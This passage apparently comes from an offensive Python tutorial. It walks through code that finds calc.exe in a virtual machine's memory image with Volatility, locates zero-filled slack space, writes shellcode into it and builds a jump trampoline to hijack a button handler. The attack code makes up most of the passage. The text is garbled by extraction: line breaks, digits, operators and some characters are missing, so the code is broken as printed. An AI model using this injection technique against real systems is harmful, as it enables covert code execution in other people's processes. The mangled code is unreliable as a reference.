this setup code is identical to the previous code you wrotewith the exception that we're reading in the shellcode that we will inject into the vm now let' put the rest of the code in place to actually perform the injection import volatility plugins taskmods as taskmods taskmods pslist(configfor process in calculate()if str(process imagefilename="calc exe"print "[*found calc exe with pid %dprocess uniqueprocessid print "[*hunting for physical offsets please wait address_space process get_process_address_space(pages address_space get_available_pages(we first instantiate new pslist class and pass in our current configuration the pslist module is responsible for walking through all of the running processes detected in the memory image we iterate over each process and if we discover calc exe processwe obtain its full address space and all of the process' memory pages now we're going to walk through the memory pages to find chunk of memory the same size as our shellcode that' filled with zeros as wellwe're looking for the virtual address of our button handler so that we can write our trampoline enter the following codebeing mindful of the indentation for page in pagesphysical address_space vtop(page[ ]if physical is not noneif slack_space is nonefd open(memory_file," +"fd seek(physicalbuf fd read(page[ ]tryoffset buf index("\ len(sc)slack_space page[ offset print "[*found good shellcode location!print "[*virtual address % xslack_space print "[*physical address % (physical offsetprint "[*injecting shellcode fd seek(physical offsetfd write(scfd flush(create our trampoline tramp "\xbb%sstruct pack("< "page[ offsettramp +"\xff\xe if trampoline_offset is not nonebreak exceptpass